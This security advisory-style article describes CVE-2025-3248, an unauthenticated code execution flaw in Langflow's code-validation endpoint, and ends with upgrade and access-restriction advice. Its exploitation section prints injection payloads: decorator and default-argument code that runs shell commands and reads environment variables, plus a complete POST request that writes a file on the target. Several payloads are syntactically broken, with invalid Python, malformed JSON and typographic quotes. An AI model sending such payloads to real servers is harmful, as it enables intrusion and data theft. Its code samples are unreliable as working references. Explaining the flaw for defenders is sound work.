Cybersecurity experts have identified a critical remote code execution (RCE) vulnerability in Langflow, an open-source platform widely utilized for visually composing AI-driven agents and workflows. This vulnerability, designated as CVE-2025-3248, carries a CVSS score of 9.8, indicating its severity. It affects all Langflow versions prior to 1.3.0, allowing unauthenticated attackers to execute arbitrary commands on vulnerable servers, potentially compromising sensitive data and systems.
Technical Details
The vulnerability resides in Langflow’s `/api/v1/validate/code` endpoint, which improperly invokes Python’s built-in `exec()` function on user-supplied code without adequate authentication checks or sandboxing protections. This oversight creates a significant attack surface for malicious actors.
Zscaler researchers have highlighted that the flaw exploits Python’s behavior during function definition processing, where decorators and default argument values are evaluated immediately. This characteristic allows malicious code embedded within these structures to execute during the Abstract Syntax Tree (AST) processing phase.
Exploitation Mechanism
Attackers can exploit this vulnerability by injecting malicious payloads using two primary methods:
1. Function Decorators: Embedding commands within function decorators, which execute immediately during code processing. For example:
“`python
@exec(import os; os.system(‘id > /tmp/pwned’))
def foo():
pass
“`
2. Default Argument Values: Utilizing default argument values in function definitions, which are evaluated during the AST processing phase:
“`python
def foo(cmd=exec(__import__(‘subprocess’).check_output([‘env’]))):
pass
“`
Exploitation occurs when an attacker sends these payloads to the vulnerable endpoint via a POST request:
“`http
POST /api/v1/validate/code HTTP/1.1
Host: vuln-test-langflow.example.com
Content-Type: application/json
Content-Length: 172
{
code: @exec(\with open(‘hacked.txt’, ‘w’) as f: f.write(‘The server has been compromised’)\)\ndef foo():\n pass
}
“`
Potential Impact
Organizations leveraging Langflow in their AI development workflows face significant risks. Attackers can exploit this flaw to gain unauthorized system access, execute commands with the privileges of the application server, establish persistent access, exfiltrate data, or move laterally within affected networks.
Mitigation Measures
To address this vulnerability, it is crucial to implement proper authentication and sandboxing measures when working with dynamic code execution. Organizations should upgrade to Langflow version 1.3.0 or later, which includes patches for this vulnerability. Additionally, restricting access to the `/api/v1/validate/code` endpoint and monitoring for unusual activity can help mitigate potential exploitation.
Conclusion
The discovery of CVE-2025-3248 underscores the importance of rigorous security practices in software development, especially when handling dynamic code execution. Organizations using Langflow should take immediate action to secure their systems and protect sensitive data from potential exploitation.
